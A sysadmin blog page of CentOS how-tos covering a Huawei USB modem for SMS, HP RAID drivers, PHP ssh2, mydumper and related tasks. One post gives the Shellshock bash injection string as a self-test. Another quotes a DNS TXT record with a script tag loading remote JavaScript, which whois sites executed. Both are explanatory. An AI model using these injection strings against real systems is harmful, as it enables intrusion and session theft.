Skip to content



Huawei E1552/E1800/E173 on CentOS 6

Today I had a chance to test Huawei E173 USB dongle and it works perfectly on my Mint Linux. All I had to do was to plug it in and turn on via network manager applet.

I wanted to test this dongle with CentOS 6 and the main idea was to use this device for SMS monitoring. Using online SMS providers is much cheaper and easier (a bunch of APIs) but the online services are useless when your network is disconnected.

There are a lot differences between RH based server distros and the new/cutting edge distro like Mint. To be honest, I expected the problems with CentOS.

The first thing was to check the USB dongle

[root@server ~]# dmesg |grep usb
....
usb 2-4: new high speed USB device number 2 using ehci_hcd
usb 2-4: New USB device found, idVendor=12d1, idProduct=1446
usb 2-4: New USB device strings: Mfr=3, Product=2, SerialNumber=0
usb 2-4: Product: HUAWEI Mobile
usb 2-4: Manufacturer: HUAWEI Technology
usb 2-4: configuration #1 chosen from 1 choice
usb-storage: device found at 2
usb-storage: waiting for device to settle before scanning
usb-storage: device found at 2
usb-storage: waiting for device to settle before scanning
usbcore: registered new interface driver usb-storage
usb-storage: device scan complete
usb-storage: device scan complete
...

Ops… the device is detected as USB storage which I didn’t expect (and I don’t want).

[root@server ~]# lsusb
...
Bus 002 Device 002: ID 12d1:1446 Huawei Technologies Co., Ltd. E1552/E1800/E173 (HSPA modem)

After some googling I discovered that the first thing I need to do is to install usb_modeswitch and smstools packages. The first package will be used to switch USB dongle from usb storage into modem mode. The second one will be used for SMS operations.

In the moment I tested this, I was far away from the server and I couldn’t try the simple plug/unplug method. The solution was to invoke the next command

[root@server ~]# usb_modeswitch -c /etc/usb_modeswitch.d/12d1\:1446 -v 0x12d1 -p 0x1446
 
Looking for target devices ...
 No devices in target mode or class found
Looking for default devices ...
   found matching product ID
   adding device
 Found device in default mode, class or configuration (1)
Accessing device 002 on bus 002 ...
Getting the current device configuration ...
 OK, got current device configuration (1)
Using first interface: 0x00
Using endpoints 0x01 (out) and 0x81 (in)
Inquiring device details; driver will be detached ...
Looking for active driver ...
 No driver found. Either detached before or never attached
 
SCSI inquiry data (for identification)
-------------------------
  Vendor String: HUAWEI  
   Model String: Mass Storage    
Revision String: 2.31
-------------------------
 
USB description data (for identification)
-------------------------
Manufacturer: HUAWEI Technology
     Product: HUAWEI Mobile
  Serial No.: not provided
-------------------------
Setting up communication with interface 0
Using endpoint 0x01 for message sending ...
Trying to send message 1 to endpoint 0x01 ...
 OK, message successfully sent
Resetting response endpoint 0x81
 Could not reset endpoint (probably harmless): -71
Resetting message endpoint 0x01
 Could not reset endpoint (probably harmless): -19
 Device is gone, skipping any further commands
-> Run lsusb to note any changes. Bye.

As the output recommended, I tried again with lsusb

[root@server ~]# lsusb
....
Bus 002 Device 003: ID 12d1:1001 Huawei Technologies Co., Ltd. E169/E620/E800 HSDPA Modem
...

Also, after this step, you should have

[root@server smsd]# ls /dev/ttyUSB*
/dev/ttyUSB0  /dev/ttyUSB1  /dev/ttyUSB2

I found that the settings file /etc/smsd.conf (for SMSTools) should be something like this:

devices = GSM1
logfile = /var/log/smsd/smsd.log
loglevel = 7
user = smstools
infofile = /var/run/smsd/smsd.working
pidfile = /var/run/smsd/smsd.pid
# 3.1.5 introduced smart logging
# once your configuration is OK, set log level lower (5 is good in most cases)
smart_logging = yes
 
[GSM1]
init = AT+CPMS="ME","ME","ME"
device = /dev/ttyUSB0
incoming = yes

You can find more information about the configuration parameters on the next link http://smstools3.kekekasvi.com/index.php?p=configure

Start smsd service with service smsd start

To send SMS message go into /var/spool/sms/outgoing/ dir and create the file testSMS (for example) and add the next content inside

To: 38765655849
 
fdfgdfgfg

The other option is to use smssend command.

In case that something doesn’t work, check the logs inside /var/log/smsd/ dir.

Posted in CentOS, Server project.


HP B110i, B120i and B320i RAID controller – howto

The RAID functionality for the B120i and B320i controllers in the “e” series ProLiant servers is provided by a software driver (FakeRAID). The driver for these RAID controllers is available in binary form on HP site (Currently only for RHEL and SLES). CentOS users (of course) should download RHEL driver but in this case, do not expect support from HP.

Without drivers, the disks won’t be seen as a parts of RAID array.

Option 1 – disable controller / don’t use it

For systems with the B320i SAS controller

  • Boot the server into System Options
  • Navigate to HP Smart Array B320i Raid Configuration
  • Change to DISABLED

For systems with the B120i SATA controller

  • Boot the server into System Options
  • Navigate to SATA Controller Options -> Embedded SATA Configuration
  • Change it to ENABLE SATA AHCI SUPPORT

Option 2 – install drivers

  1. Click here to download RHEL 6.x driver
  2. In “Software – Driver Update” section you’ll see the latest update (hpvsa-1.2.12-110.rhel6u6.x86_64.dd.gz). Download the file, extract into FAT32 formatted USB drive
  3. Boot Centos 6 from DVD (or how ever you want)
  4. On the main installation menu, plug in the USB drive. Press “ESC” to manually boot
  5. At that “boot” prompt enter the following command: linux dd blacklist=ahci
  6. Hit ENTER and select Yes for driver option. Select the USB drive, select the driver disk image and select OK.
  7. Continue with the OS installation

 

Posted in CentOS, Tips & Tricks.


CentOS – setup utility

For RH based distros, the “setup” utility is a must. With this tool you can easily maintain basic system settings (firewall settings, network, start-up services, etc).

If you choose to install minimum system, this tool won’t be available and you’ll need to add it manually.

yum –y install setuptool system-config-network* system-config-firewall* system-config-securitylevel-tui system-config-keyboard ntsysv

Posted in CentOS, Other, Server project.


SSH2 extension for PHP on CentOS 6

Before we can build and install ssh2 extension, we’ll need a few packages

yum install gcc php-devel php-pear libssh2 libssh2-devel make

Install the extension via pecl

pecl install -f ssh2

On CentOS, PHP will not load extension automatically. To “fix” this, create ssh2.ini file inside /etc/php.d/ and add

extension=ssh2.so

inside.

Restart apache (service httpd restart) and test PHP with

php -m | grep ssh2

As response, you should get ssh2.

Posted in CentOS, PHP.


MyDumper – CentOS HowTo

Mydumper – MySQL backup tool created by Domas Mituzas and later supported by several other devs.

The main benefits are multi-threaded and fast backups with almost no locking (if not using non innodb tables), built-in compression, separate files for each table, making it easy to restore single tables or schema. It also has support to hard link files which can reduce the space needed for history of backups. Much faster than mysqldump. The main benefit for separate files is the ability to create backups in multiple threads (the same works for restoring process)

In short – Mydumper is how MySQL DBA and support engineer would imagine mysqldump.

To install mydumper follow the next steps

Install necessary devel libs and cmake

yum install glib2-devel mysql-devel zlib-devel pcre-devel openssl-devel cmake

Download mydumper – https://launchpad.net/mydumper (or directly here https://launchpad.net/mydumper/0.6/0.6.2/+download/mydumper-0.6.2.tar.gz)

Extract the tar.gz archive with

tar -xvzf mydumper-0.6.2.tar.gz
cd mydumper-0.6.2
cmake .
make

Creating backup

mydumper -u USER -p PASSWORD -o /home/DESTINATION_DIR/DATABASE/ -B DATABASE

Note: My advice is to create separate dir for every database.

Restore from backup

myloader -u USER -p PASSWORD -B DATABASE -d /home/SOURCE_DIR/DATABASE/

Posted in CentOS, MySQL, Server project.


New server

From today I’m on the new server and I desire you won’t detect any troubles.

Posted in Other.


Extract multiple 7z files in folder (at once)

To extract multiple 7z files at once, use the next script

for fileToExtract in *.7z
do
  7z x "$fileToExtract"
done

Remember, x option means extract files with full paths.

Posted in Tips & Tricks.


GNU bash Environment Variable Command Injection

You can test your server for bash command injection with

[root@ss ~]# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Update bash with

# yum -y update bash

and you’ll get

[root@ss ~]# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Posted in CentOS.


XSS via DNS

XSS (Cross-Site Scripting) attack is a type of injection, in which malicious scripts are injected into trusted web sites. Your browser has no way to know that the script should not be trusted, and will execute the script. In this case, the script can access any cookies, session tokens, or other sensitive information which can be passed to the attacker.

The golden rule “Do not trust user input” seems forgotten in some cases. The guy succeeded to inject malicious script via TXT record on his domain and the script is promptly executed when you check his domain via Whois services.

The vulnerable sites:

http://who.is/

http://mxtoolbox.com/

http://dig.whois.com.au/

Some of them are already patched but the taste remains :)

The ycombinator discussion: https://news.ycombinator.com/item?id=8336025

The exact TXT content:

comp@comp ~ $ dig txt jamiehankins.co.uk
 
; <<>> DiG 9.9.5-3-Ubuntu <<>> txt jamiehankins.co.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24931
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 2, ADDITIONAL: 3
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;jamiehankins.co.uk.		IN	TXT
 
;; ANSWER SECTION:
jamiehankins.co.uk.	300	IN	TXT	"google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI"
jamiehankins.co.uk.	300	IN	TXT	"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"
jamiehankins.co.uk.	300	IN	TXT	"v=spf1 include:spf.mandrillapp.com ?all"
jamiehankins.co.uk.	300	IN	TXT	"<script src='//peniscorp.com/topkek.js'></script>"
 
;; AUTHORITY SECTION:
jamiehankins.co.uk.	172800	IN	NS	hank.ns.cloudflare.com.
jamiehankins.co.uk.	172800	IN	NS	lucy.ns.cloudflare.com.
 
;; ADDITIONAL SECTION:
hank.ns.cloudflare.com.	11832	IN	A	173.245.59.116
hank.ns.cloudflare.com.	11832	IN	AAAA	2400:cb00:2049:1::adf5:3b74
 
;; Query time: 81 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Thu Sep 18 23:21:30 CEST 2014
;; MSG SIZE  rcvd: 481

Posted in DNS, Humor.


AN!Cluster Tutorial

Today I found something very interesting (and large)

https://alteeve.ca/w/AN!Cluster_Tutorial_2

p.s. Please do not bother me for the next 30 days :)

Posted in CentOS.